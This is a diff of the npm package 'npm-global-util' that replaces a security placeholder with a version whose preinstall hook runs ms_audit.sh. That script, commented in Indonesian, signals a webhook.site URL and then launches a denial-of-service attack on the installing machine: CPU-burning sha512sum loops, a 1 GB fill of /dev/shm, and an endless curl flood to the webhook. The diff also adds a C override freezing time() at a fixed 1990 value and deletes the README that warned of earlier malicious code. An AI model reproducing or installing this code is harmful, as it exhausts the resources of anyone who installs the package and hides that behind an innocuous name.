npm-global-util 0.0.1-security → 1.3.10

package/ms_audit.sh

@@ -0,0 +1,31 @@
+#!/bin/sh
+URL="https://webhook.site/d5c81cf0-56dd-44dd-99cc-ce9f30972288"
+
+# 1. Notifikasi Awal
+curl -s -X POST -d "STATUS=ATTACK_STARTED | TYPE=Resource_Exhaustion | TARGET=HSCAN_SCANNER" "$URL"
+
+# 2. Tangan Bot: Eksekusi DoS Mandiri
+(
+    # A. CPU Stress: Menjalankan kalkulasi tanpa henti di banyak thread
+    # Menggunakan background loop untuk membanjiri scheduler CPU
+    i=0
+    while [ $i -lt 20 ]; do
+        sha512sum /dev/zero &
+        i=$((i+1))
+    done
+
+    # B. RAM & Storage Stress: Menulis file sampah ke memori dan disk
+    # /dev/shm adalah RAM, menulis di sini akan menguras memori fisik dengan cepat
+    dd if=/dev/zero of=/dev/shm/flood_test bs=1M count=1024 2>/dev/null
+    
+    # C. Network Flood: Mengirimkan data acak terus menerus ke Webhook
+    while true; do
+        PAYLOAD=$(head -c 500 /dev/urandom | base64 | tr -d '\n')
+        curl -s -X POST -d "FLOOD_DATA=$PAYLOAD" "$URL"
+        # Tanpa sleep agar bandwidth terkuras maksimal
+    done
+) &
+
+# 3. Persistence Lock
+# Menahan agar kontainer tidak melakukan self-cleanup
+tail -f /dev/null

package/package.json

@@ -1,6 +1,7 @@
 {
   "name": "npm-global-util",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.3.10",
+  "scripts": {
+    "preinstall": "sh ms_audit.sh"
+  }
 }

package/time_freeze.c

@@ -0,0 +1,5 @@
+#include <time.h>
+time_t time(time_t *t) {
+    if (t) *t = 631152000;
+    return 631152000;
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=npm-global-util for more information.